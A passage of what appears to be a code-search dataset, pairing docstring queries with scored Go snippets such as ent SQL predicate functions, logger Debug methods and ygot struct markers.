"func Debug(source string, arg0 interface{}, args ...interface{}) {\n\tlog.Log(l4g.DEBUG, source, arg0, args ...)\n}", "title": "" }, { "docid": "51bce0ebaf88c88cc574b09286b66f73", "score": "0.70249903", "text": "func Debug(v ...interface{}) {\n\tf := newLogField(v)\n\tlogrus.WithFields(f).Debug(\"debug\")\n}", "title": "" }, { "docid": "fa0cfa7a48341049eb4caad056d9b681", "score": "0.7019146", "text": "func (z *zerologAdapter) Debug(args ...interface{}) {\n\tstats.Record(contextWithLogLevel(zerolog.DebugLevel), statLogCalls.M(1))\n\tz.loggerWithHooks().Debug().Msg(fmt.Sprint(args...))\n}", "title": "" }, { "docid": "95022549be5b2b7b47cd144cea45fe39", "score": "0.7015552", "text": "func (logger *LoggerImpl) Debug(message string) {\n\tfmt.Printf(\"[%s] %s \\n\", DEBUG, message)\n}", "title": "" }, { "docid": "8557eace7ff35ea4a34a997ee58be88a", "score": "0.70155203", "text": "func Debug(str string, data interface{}) error { return DefaultLogger.Debug(str, data) }", "title": "" }, { "docid": "cb0aeb0ae2a80aeed7448e9309811a0a", "score": "0.7011385", "text": "func (l Logger) Debug(str string, data interface{}) error { return l.Log(LogLevelDebug, str, data) }", "title": "" }, { "docid": "fe3ae2fee57046e56ab92b7cbeb5a6d0", "score": "0.7009748", "text": "func (NoLogger) Debugf(format string, v ...interface{}) {}", "title": "" } ]
4873103735daaf9d21e43e540ca3a978
SiteIDLT applies the LT predicate on the "site_id" field.
[ { "docid": "9cf51380b97bcb9ef966d543772ae137", "score": "0.82712936", "text": "func SiteIDLT(v string) predicate.DetectionJob {\n\treturn predicate.DetectionJob(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldSiteID), v))\n\t})\n}", "title": "" } ]
[ { "docid": "a949cd5f22d0f590b958841b03553707", "score": "0.7037231", "text": "func SiteIDLTE(v string) predicate.DetectionJob {\n\treturn predicate.DetectionJob(func(s *sql.Selector) {\n\t\ts.Where(sql.LTE(s.C(FieldSiteID), v))\n\t})\n}", "title": "" }, { "docid": "a2457475150c66c140545815b7d876f5", "score": "0.66244215", "text": "func IDLT(id int) predicate.Antenatalinformation {\n\treturn predicate.Antenatalinformation(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "7a142aef954e6cdcfcf0d985a1000ba2", "score": "0.65014523", "text": "func IDLT(id int) predicate.Scholarshipinformation {\n\treturn predicate.Scholarshipinformation(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "627c2e5ff6c446e6f9422a8f4110993d", "score": "0.6462842", "text": "func IDLT(id string) predicate.LocationType {\n\treturn predicate.LocationType(func(s *sql.Selector) {\n\t\tid, _ := strconv.Atoi(id)\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t},\n\t)\n}", "title": "" }, { "docid": "a3b1fbc41f886a8e09996a622b6d073f", "score": "0.64432174", "text": "func IDLT(id int) predicate.Student {\n\treturn predicate.Student(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "f80f9b9aaabe003ece4f6b151c3dd017", "score": "0.6407604", "text": "func IDLT(id int) predicate.UserExtend {\n\treturn predicate.UserExtend(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "68d24891fa96795d852d8dbc21736452", "score": "0.63981247", "text": "func TaxIdLT(v string) predicate.EntityTaxInformation {\n\treturn predicate.EntityTaxInformation(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldTaxId), v))\n\t})\n}", "title": "" }, { "docid": "180b954d0640fe405b5f9e7840a42a99", "score": "0.63712084", "text": "func IDLT(id int) predicate.Agenttype {\n\treturn predicate.Agenttype(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "2a72f59e60e80f6e6e6a905eb33d9018", "score": "0.63709795", "text": "func IDLT(id int) predicate.Educationlevel {\n\treturn predicate.Educationlevel(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "131b6d77d292c5812c02b0cd4d030041", "score": "0.63702655", "text": "func IDLT(id int) predicate.Application {\n\treturn predicate.Application(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "c8ef209a769c43d8395bdc800a5d2df1", "score": "0.6370027", "text": "func IDLT(id int) predicate.EntityTaxInformation {\n\treturn predicate.EntityTaxInformation(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "1dbbcf7dc4f627424f2b11fe6eb814e6", "score": "0.63675517", "text": "func ServiceIDLT(v int64) predicate.GrpcRule {\n\treturn predicate.GrpcRule(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldServiceID), v))\n\t})\n}", "title": "" }, { "docid": "feb1dc2b49d30e69611b530f4b5a70b4", "score": "0.63622385", "text": "func IDLT(id int) predicate.Logexport {\n\treturn predicate.Logexport(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "bf5ddc0de857839e3af9eeb036e16d7f", "score": "0.6343014", "text": "func AgentidLT(v string) predicate.Agenttype {\n\treturn predicate.Agenttype(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldAgentid), v))\n\t})\n}", "title": "" }, { "docid": "5bb45336b0ddb272a4e19d17b3dfe4c6", "score": "0.6341949", "text": "func IDLT(id int) predicate.BlogPost {\n\treturn predicate.BlogPost(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "3a64cf2c8406983b960dc76f3c9aaae8", "score": "0.633664", "text": "func IDLT(id int) predicate.Address {\n\treturn predicate.Address(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "b33939adf6bdca586e4a004590188da8", "score": "0.6305948", "text": "func IDLT(id int) predicate.Auth {\n\treturn predicate.Auth(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "b9c2bc612e83fbb7e0c50a35f2c85d39", "score": "0.63001597", "text": "func IDLT(id int) predicate.Machine {\n\treturn predicate.Machine(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "da0c5c4e646445bc1844989ffd226327", "score": "0.62974566", "text": "func IDLT(id string) predicate.UserActiveRecord {\n\treturn predicate.UserActiveRecord(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "5e6503f95821f9d74384585227926b81", "score": "0.62844247", "text": "func IDLT(id int) predicate.Source {\n\treturn predicate.Source(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "20df79a0fbcd60f03b8eacc6aaf80b1e", "score": "0.62759554", "text": "func IDLT(id int) predicate.Clubapplication {\n\treturn predicate.Clubapplication(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "0ee4b6eaae325ca1c1e87dae8bf7c704", "score": "0.62692624", "text": "func IDLT(id int) predicate.Tokens {\n\treturn predicate.Tokens(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "6d8c4a7e8ea07fa2a2bcd0aa3a4cc272", "score": "0.6265208", "text": "func IDLT(id string) predicate.SurveyWiFiScan {\n\treturn predicate.SurveyWiFiScan(func(s *sql.Selector) {\n\t\tid, _ := strconv.Atoi(id)\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t},\n\t)\n}", "title": "" }, { "docid": "24cc630a7d8cf699aa5a8016b87645d7", "score": "0.6260166", "text": "func IDLT(id int) predicate.Rental {\n\treturn predicate.Rental(sql.FieldLT(FieldID, id))\n}", "title": "" }, { "docid": "98e2b0b7e7075b19472b45cee4fed5b2", "score": "0.625985", "text": "func MachineIdLT(v string) predicate.Machine {\n\treturn predicate.Machine(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldMachineId), v))\n\t})\n}", "title": "" }, { "docid": "412a6993d96fe680162074d2a4129200", "score": "0.6247503", "text": "func IDLT(id int) predicate.Subject {\n\treturn predicate.Subject(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "c2b56fe9b12f8f312adbbd16b70f3cab", "score": "0.6214224", "text": "func IDLT(id string) predicate.CheckListItem {\n\treturn predicate.CheckListItem(func(s *sql.Selector) {\n\t\tid, _ := strconv.Atoi(id)\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t},\n\t)\n}", "title": "" }, { "docid": "bcf5623a6f07f541af835dd79cae8a65", "score": "0.6195266", "text": "func IDLT(id int) predicate.Referrer {\n\treturn predicate.Referrer(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "8371de36b30492dac8047db65d9e5fa0", "score": "0.6187531", "text": "func IDLT(id int) predicate.User {\n\treturn predicate.User(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "8371de36b30492dac8047db65d9e5fa0", "score": "0.6187531", "text": "func IDLT(id int) predicate.User {\n\treturn predicate.User(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "8371de36b30492dac8047db65d9e5fa0", "score": "0.6187531", "text": "func IDLT(id int) predicate.User {\n\treturn predicate.User(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "bf17580b933d5b7b459ebfbd007ebaf0", "score": "0.6184627", "text": "func IDLT(id int) predicate.Restaurant {\n\treturn predicate.Restaurant(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "fa612ce88c3f20322d98d3476e31ea4c", "score": "0.61834717", "text": "func IDLT(id int) predicate.Dispense {\n\treturn predicate.Dispense(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "6b3fe32b0c41a69c185677f348df85cb", "score": "0.617089", "text": "func StaffIdLT(v int64) predicate.CustomerFollow {\n\treturn predicate.CustomerFollow(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldStaffId), v))\n\t})\n}", "title": "" }, { "docid": "1c5d705076ceae7fa563b329183ebe38", "score": "0.61668766", "text": "func IDLT(id int) predicate.UserRole {\n\treturn predicate.UserRole(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "ddfe6d5a94b7a20e39e6be6684a7b251", "score": "0.61602175", "text": "func SourceIdLT(v string) predicate.Auth {\n\treturn predicate.Auth(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldSourceId), v))\n\t})\n}", "title": "" }, { "docid": "e9207fb8e25e60d651e41079982d4967", "score": "0.6159629", "text": "func IDLT(id int) predicate.Vehicle {\n\treturn predicate.Vehicle(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "e9207fb8e25e60d651e41079982d4967", "score": "0.6159629", "text": "func IDLT(id int) predicate.Vehicle {\n\treturn predicate.Vehicle(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "8aef32f9947c753d14d12ce989fa49c4", "score": "0.6156652", "text": "func IDLT(id int) predicate.Course {\n\treturn predicate.Course(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "54ba0fe45a1e72b876894fd15039482f", "score": "0.61527336", "text": "func (o *UsersTokensListParams) SetIDLt(iDLt *string) {\n\to.IDLt = iDLt\n}", "title": "" }, { "docid": "f2e9c738df16e19f7f49bccff64eb89a", "score": "0.6145873", "text": "func IDLT(id int) predicate.Branch {\n\treturn predicate.Branch(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "211241166b913390915bb2ec1d645642", "score": "0.6145221", "text": "func IDLT(id int64) predicate.GrpcRule {\n\treturn predicate.GrpcRule(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "12582b01300f4e20ea3dfca79a4531bd", "score": "0.6143021", "text": "func IDLT(id int) predicate.AdverseEventsModule {\n\treturn predicate.AdverseEventsModule(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "eb675566069cdaf3180feae5df0f6a26", "score": "0.6140602", "text": "func IDLT(id int) predicate.Contact {\n\treturn predicate.Contact(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "6ea448028229259e758d2c8072ceb626", "score": "0.6140445", "text": "func IDLT(id int) predicate.IPAddress {\n\treturn predicate.IPAddress(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "c68dac596c8258102b737a512b6ecb97", "score": "0.61311924", "text": "func IDLT(id int) predicate.Purpose {\n\treturn predicate.Purpose(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "e24bf6ca1c73342e31d09ba20a020f3d", "score": "0.6129935", "text": "func IDLT(id int) predicate.Roominfo {\n\treturn predicate.Roominfo(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "dbebdf5cdc42b093926b1ee6a9060679", "score": "0.61247075", "text": "func RoleIdLT(v int) predicate.UserRole {\n\treturn predicate.UserRole(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldRoleId), v))\n\t})\n}", "title": "" }, { "docid": "923afae3fbc57c55a33d09b1c858b27f", "score": "0.61232877", "text": "func IDLT(id int) predicate.CustomerAddress {\n\treturn predicate.CustomerAddress(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "f1ef7c8ae23b5362b539246296cdb0a4", "score": "0.6120789", "text": "func IDLT(id int) predicate.Lessonplan {\n\treturn predicate.Lessonplan(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "0ac48dd7df68f2de6ec54b069edff527", "score": "0.6108504", "text": "func IDLT(id int) predicate.OrderAddress {\n\treturn predicate.OrderAddress(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "449ab4766dd0c439835fb3996b7154b2", "score": "0.61069673", "text": "func IDLT(id string) predicate.FieldType {\n\treturn predicate.FieldType(func(t *dsl.Traversal) {\n\t\tt.HasID(p.LT(id))\n\t})\n}", "title": "" }, { "docid": "b46585265ca9b4ac5b09d00019be8292", "score": "0.61014926", "text": "func IDLT(id int) predicate.Complaint {\n\treturn predicate.Complaint(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "877cd7f777b5cf9d5ecfe1969b7398d4", "score": "0.6099446", "text": "func CompanyIDLT(v string) predicate.Company {\n\treturn predicate.Company(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldCompanyID), v))\n\t})\n}", "title": "" }, { "docid": "0b7d61722374ee7757215246d88ce27e", "score": "0.6093712", "text": "func IDLT(id int) predicate.Company {\n\treturn predicate.Company(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "fdfc5a083b466efb5a1319f8da828c40", "score": "0.60934734", "text": "func IDLT(id int) predicate.Insurance {\n\treturn predicate.Insurance(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "4abdbb73d09ab4e9703d6ee0738546fe", "score": "0.6084979", "text": "func IDLT(id int) predicate.Hex {\n\treturn predicate.Hex(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "4a8c6093ac6867d5608ef5d609df44e9", "score": "0.60797286", "text": "func IDLT(id int) predicate.Slot {\n\treturn predicate.Slot(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "b267aa1671184a2c42d3ce964da2a5f0", "score": "0.6063992", "text": "func IDLT(id int) predicate.DeviceToken {\n\treturn predicate.DeviceToken(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "41ca1d3b5fd75220be6946b6333851fd", "score": "0.6063186", "text": "func IDLT(id int) predicate.Transaction {\n\treturn predicate.Transaction(\n\t\tfunc(s *sql.Selector) {\n\t\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t\t},\n\t)\n}", "title": "" }, { "docid": "c6796f39a05b91ce34527a1e2ebfa4cd", "score": "0.6061951", "text": "func ExternalIDLT(v int) predicate.BlogPost {\n\treturn predicate.BlogPost(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldExternalID), v))\n\t})\n}", "title": "" }, { "docid": "6c8f78c604a1ffeb15f6cf48577ff432", "score": "0.6059799", "text": "func IdLt(id int) PredFunc {\n\treturn func(pb *comparison.Predicates) {\n\t\tpb.Add(&comparison.Predicate{\n\t\t\tCol: \"id\",\n\t\t\tOp: comparison.Lt,\n\t\t\tArg: id,\n\t\t})\n\t}\n}", "title": "" }, { "docid": "269735cf1599642e4a89a2edd4fd49dc", "score": "0.60527307", "text": "func IDLT(id int) predicate.CompanyUser {\n\treturn predicate.CompanyUser(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "281442d0bb398a68c6ea01b0ddf7d7c4", "score": "0.60527265", "text": "func IDLT(id int) predicate.Disease {\n\treturn predicate.Disease(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "6d21e2798e166b271209e60480d44509", "score": "0.6035379", "text": "func IDLT(id int) predicate.Orderproduct {\n\treturn predicate.Orderproduct(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "b40e87957a0275029dfbf7bfdf365551", "score": "0.6031798", "text": "func IDLT(id int) predicate.Detail {\n\treturn predicate.Detail(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "38b8e6446f503f503c78d1301dc9fc46", "score": "0.6011282", "text": "func IDLT(id int) predicate.Task {\n\treturn predicate.Task(sql.FieldLT(FieldID, id))\n}", "title": "" }, { "docid": "4c9d61cef02fc0f2f9ea538164fa0447", "score": "0.5996651", "text": "func IDLT(id uuid.UUID) predicate.Entity {\n\treturn predicate.Entity(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "c4925be6680fcca1570debba35519948", "score": "0.59949505", "text": "func IDLT(id string) predicate.DChat {\n\treturn predicate.DChat(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "8d21f06b40b194365594ddc534d202f4", "score": "0.59872395", "text": "func IDLT(id int) predicate.Employee {\n\treturn predicate.Employee(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "9d23ea41575f1400bb203c52680d1b8e", "score": "0.5986231", "text": "func IDLT(id int) predicate.DetectionJob {\n\treturn predicate.DetectionJob(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "f8ae369b901464cfdbb257461f80502b", "score": "0.5982656", "text": "func IDLT(id int) predicate.Transactionfactor {\n\treturn predicate.Transactionfactor(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "600acdd5e0f7c69d465d3b2685ee3535", "score": "0.59821796", "text": "func AdidLT(v string) predicate.UserExtend {\n\treturn predicate.UserExtend(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldAdid), v))\n\t})\n}", "title": "" }, { "docid": "1130cfb66c4cc70c989fece32b51ec77", "score": "0.59814554", "text": "func GameIDLT(v string) predicate.UserExtend {\n\treturn predicate.UserExtend(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldGameID), v))\n\t})\n}", "title": "" }, { "docid": "d8402e912ac4c9de6e8fce0c8f0a7898", "score": "0.59793335", "text": "func IDLT(id int) predicate.Car {\n\treturn predicate.Car(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "4d75f6914f35587ad4fca4f75ecaa4b8", "score": "0.59746087", "text": "func IDLT(id uuid.UUID) predicate.Entry {\n\treturn predicate.Entry(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "7e138915aee21c1a444c34abbf85ca8d", "score": "0.5969903", "text": "func IDLT(id int) predicate.Diagnosis {\n\treturn predicate.Diagnosis(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "32a2f64ffebd75f336fd1cef6712462d", "score": "0.59577596", "text": "func IDLT(id int) predicate.NetTopologyDeviceMap {\n\treturn predicate.NetTopologyDeviceMap(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "0f37c690af656e7d8c762e5954ac214a", "score": "0.59524643", "text": "func IDLT(id int) predicate.Metrics {\n\treturn predicate.Metrics(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "92bbb805dc821c95747b28d109662b7c", "score": "0.5951648", "text": "func IDLT(id uuid.UUID) predicate.Flow {\n\treturn predicate.Flow(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "16abb67e9e22307ca079697f09636c34", "score": "0.59480226", "text": "func OptionIDLT(v string) predicate.Answer {\n\treturn predicate.Answer(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldOptionID), v))\n\t})\n}", "title": "" }, { "docid": "735a660c35412ba3021f357ac5e5ee69", "score": "0.5947368", "text": "func IDLT(id int) predicate.Metric {\n\treturn predicate.Metric(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "881845a62a3c47c3f8cd2c92d008e077", "score": "0.5942258", "text": "func IDLT(id string) predicate.Session {\n\treturn predicate.Session(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "47426ecd5e4cd7da16ba36e9c4c0a5a3", "score": "0.5941821", "text": "func (o *DcimPowerPanelsListParams) SetIDLt(iDLt *string) {\n\to.IDLt = iDLt\n}", "title": "" }, { "docid": "3e4843a9d5ebad8fd2f73bb9632af8f3", "score": "0.5940458", "text": "func IDLT(id uuid.UUID) predicate.Contact {\n\treturn predicate.Contact(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "526018b9b6614cb8399b19668c4013ef", "score": "0.5933658", "text": "func IDLT(id int) predicate.Cleaningroom {\n\treturn predicate.Cleaningroom(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "9a5aa2f7ebb589a972b25ffb9d370997", "score": "0.5928384", "text": "func IDLT(id string) predicate.APIAudit {\n\treturn predicate.APIAudit(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "5b56cb103dacefee1a89ac4435be64d7", "score": "0.59260726", "text": "func IDLT(id int) predicate.Consumer {\n\treturn predicate.Consumer(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "cc72d45d05309c453f65a9cf83b3229b", "score": "0.59197694", "text": "func IDLT(id int) predicate.OtherEvent {\n\treturn predicate.OtherEvent(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "0cac7cc7c58ee43272f6b76b6ca88443", "score": "0.5915506", "text": "func IDLT(id int) predicate.Card {\n\treturn predicate.Card(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "512663f442994db9c957f90c68f56bfd", "score": "0.5911431", "text": "func IDNumberLT(v string) predicate.UserExtend {\n\treturn predicate.UserExtend(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldIDNumber), v))\n\t})\n}", "title": "" }, { "docid": "362f26f5aa4c15b5b4caafb3c6483f40", "score": "0.590764", "text": "func IDLT(id int) predicate.FlowAchievement {\n\treturn predicate.FlowAchievement(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "206639f577e5222018f806491238d929", "score": "0.5901082", "text": "func IDLT(id int) predicate.Financial {\n\treturn predicate.Financial(sql.FieldLT(FieldID, id))\n}", "title": "" }, { "docid": "d8531a178a6624a6a209066f02501fa6", "score": "0.587477", "text": "func IDLT(id int) predicate.Bill {\n\treturn predicate.Bill(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "d8531a178a6624a6a209066f02501fa6", "score": "0.587477", "text": "func IDLT(id int) predicate.Bill {\n\treturn predicate.Bill(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "4efb89447c9e8dfe1d5f79d9e3342aa9", "score": "0.58727086", "text": "func (o *DcimDeviceTypesListParams) SetIDLt(iDLt *string) {\n\to.IDLt = iDLt\n}", "title": "" }, { "docid": "2db510d196007c41bf07586bb42ee29b", "score": "0.586688", "text": "func UserIDLT(v string) predicate.UserActiveRecord {\n\treturn predicate.UserActiveRecord(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldUserID), v))\n\t})\n}", "title": "" }, { "docid": "358f891be137a5b168274cb161cd8913", "score": "0.5842213", "text": "func DeviceIDLT(v string) predicate.UserExtend {\n\treturn predicate.UserExtend(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldDeviceID), v))\n\t})\n}", "title": "" }, { "docid": "b8a753867d61ff3444f8ede330592440", "score": "0.58413136", "text": "func (o *DcimVirtualChassisListParams) SetIDLt(iDLt *string) {\n\to.IDLt = iDLt\n}", "title": "" }, { "docid": "b8a753867d61ff3444f8ede330592440", "score": "0.58413136", "text": "func (o *DcimVirtualChassisListParams) SetIDLt(iDLt *string) {\n\to.IDLt = iDLt\n}", "title": "" } ]
88b7985d1d0ff7fd0fa01e5a26899e3d
IsYANGGoStruct ensures that NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters implements the yang.GoStruct interface. This allows functions that need to handle this struct to identify it as being generated by ygen.
[ { "docid": "63f3d13750bd1fbb0eb002aa06316726", "score": "0.9049756", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters) IsYANGGoStruct() {}", "title": "" } ]
[ { "docid": "079628015efe23e5cb3ef775bc9a0fb3", "score": "0.8888963", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters_Iih) IsYANGGoStruct() {}", "title": "" }, { "docid": "079628015efe23e5cb3ef775bc9a0fb3", "score": "0.8888963", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters_Iih) IsYANGGoStruct() {}", "title": "" }, { "docid": "079628015efe23e5cb3ef775bc9a0fb3", "score": "0.8887461", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters_Iih) IsYANGGoStruct() {}", "title": "" }, { "docid": "a080f3d24b8bcf3652f52f1a8c134d72", "score": "0.88824755", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters_Ish) IsYANGGoStruct() {}", "title": "" }, { "docid": "a080f3d24b8bcf3652f52f1a8c134d72", "score": "0.88824755", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters_Ish) IsYANGGoStruct() {}", "title": "" }, { "docid": "a080f3d24b8bcf3652f52f1a8c134d72", "score": "0.8881921", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters_Ish) IsYANGGoStruct() {}", "title": "" }, { "docid": "bd1a38e14c70359f788ab62fa51d77c3", "score": "0.879983", "text": "func 